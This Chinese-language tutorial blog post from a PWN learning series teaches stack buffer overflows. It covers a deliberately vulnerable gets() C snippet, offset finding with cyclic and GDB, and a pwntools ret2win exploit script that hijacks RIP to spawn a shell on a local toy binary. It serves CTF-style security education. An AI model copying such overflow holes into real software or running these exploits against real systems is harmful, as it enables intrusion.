【学习记录】Week3(一):栈溢出初战——局部变量覆盖与 ret2win 控制流劫持
写在前面经过前两周的底层沉淀我们终于迎来了 Week3 的实战环节栈溢出是 PWN 的基本功而ret2win则是每个 Pwn 手踏入真实漏洞利用大门的“Hello World”。本文将带你从快速覆盖局部变量开始一步步精准计算偏移最终实现劫持 EIP/RIP跳入隐藏的后门函数拿 Shell。 目录快速复习局部变量覆盖原理控制流劫持的本质篡改 EIP/RIP神器加持cyclic 精准计算溢出长度实战演练ret2win 跳转后门函数总结与避坑指南1. 快速复习局部变量覆盖原理在 C 语言中函数内部的局部变量是存放在栈上的。由于栈是从高地址向低地址生长的先定义的变量在更高地址后定义的缓冲区如char buf[16]在更低地址。假设性场景#include stdio.h #include string.h void check() { int flag 0; // 假设在栈上的地址是 rbp-0x4 char buf[8]; // 假设在栈上的地址是 rbp-0x10 gets(buf); if (flag) printf(You are admin!\n); }如果我们在gets时输入 8 个A刚好填满buf。如果输入 9 个A多出来的那一个字节就会溢出buf的边界覆盖到flag变量的最低位字节使其变成非 0 值0x41从而触发管理员逻辑。这就是最基础的局部变量覆盖。2. 控制流劫持的本质篡改 EIP/RIP局部变量覆盖只是热身我们的终极目标是控制 CPU 接下来要执行的指令地址。在 32 位系统中是EIP64 位是RIP。结合 Week2 的知识函数返回时执行ret指令等价于pop rip。栈结构原理64位高地址 | 函数的返回地址 (RIP) | - 我们要覆盖的目标 | 保存的 RBP | | 局部变量 / Padding | | char buf[64] | - 溢出起点 低地址只要我们的输入足够长从buf一直填到返回地址把原本的返回地址替换成我们想要的地址当函数执行结束返回时就会乖乖跳到我们指定的地址去执行。这就是控制流劫持。3. 神器加持cyclic 精准计算溢出长度要精准覆盖返回地址我们必须知道从buf起点到返回地址的精确距离偏移量 Offset。人工数容易出错这时 Pwntools 提供的cyclic工具就派上用场了。cyclic会生成一串规律的字节序列如aaaa、baaa、caaa…如果这串字符导致了程序崩溃并在某个寄存器留下了特征就能反查出精确长度。假设性实操模拟 GDB 调试生成 200 字节的测试 Payload 并运行cyclic 200 | ./vuln程序崩溃我们在 GDB 中查看崩溃时的RSP因为ret会把栈顶数据弹入RIP所以此时栈顶的值就是导致崩溃的地址。pwndbg x/gx $rsp 0x7fffffffe0a8: 0x6161616161616166读取到的值是0x6161616161616166小端序倒过来是faaaaaaa。反查偏移cyclic -l 0x6161616161616166模拟终端输出120偏移量直接得出120。这意味着我们只需要发送 120 个字节的填充数据接下来的 8 个字节就是我们要劫持的返回地址。4. 实战演练ret2win 跳转后门函数ret2win是最简单的控制流劫持手法。前提是程序自身或者链接的库中已经存在我们想要的函数比如一个直接system(/bin/sh)的后门函数。假设性场景目标程序vuln存在栈溢出且通过objdump或 Ghidra 分析发现存在一个隐藏的get_shell函数0000000000401196 get_shell: 401196: push rbp 401197: mov rbp,rsp ... 4011a0: mov edi,0x402008 ; /bin/sh 4011a5: call 401040 systemplt编写 Exploit (Pwntools)已知偏移量为 120get_shell地址为0x401196。from pwn import * # 1. 建立连接 p process(./vuln) elf ELF(./vuln) # 2. 准备 Payload offset 120 # 注意64位地址最长只有 6 字节有效如果直接发送可能会被截断或产生坏字符 # 通常在返回地址前加一个 ret 指令地址进行栈对齐16字节对齐 ret_gadget 0x40101a # 随便找个 ret 指令 # payload 填充 ret地址(对齐) 后门函数地址 payload bA * offset p64(ret_gadget) p64(elf.symbols[get_shell]) # 3. 发送 Payload p.sendline(payload) # 4. 交互拿 Shell p.interactive()假设性输出脚本运行后终端打印如下[] Starting local process ./vuln: pid 12345 [*] Switching to interactive mode $ whoami root $完美拿下 Shell5. 总结与避坑指南不要凭感觉算偏移永远用cyclic或 GDB 的 Core Dump 去算这是最稳妥的。64 位的栈对齐陷阱在 64 位 Linux 中system函数内部可能会使用movaps等 SSE 指令这些指令要求栈指针RSP必须是 16 字节对齐的。如果没对齐会直接段错误。解决办法在跳转到目标函数前在 Payload 中多加一个ret指令的地址让栈指针偏移 8 字节强制实现 16 字节对齐。坏字符过滤如果程序使用了strcpy等函数遇到\x00或\x0a(\n) 会截断。发送 Payload 前要注意目标地址中是否包含这些坏字符。下一部分我们将学习当程序没有后门函数且 NX 保护关闭时如何把我们自己的 Shellcode 注入到栈上执行。如果本文对你有帮助请点赞收藏支持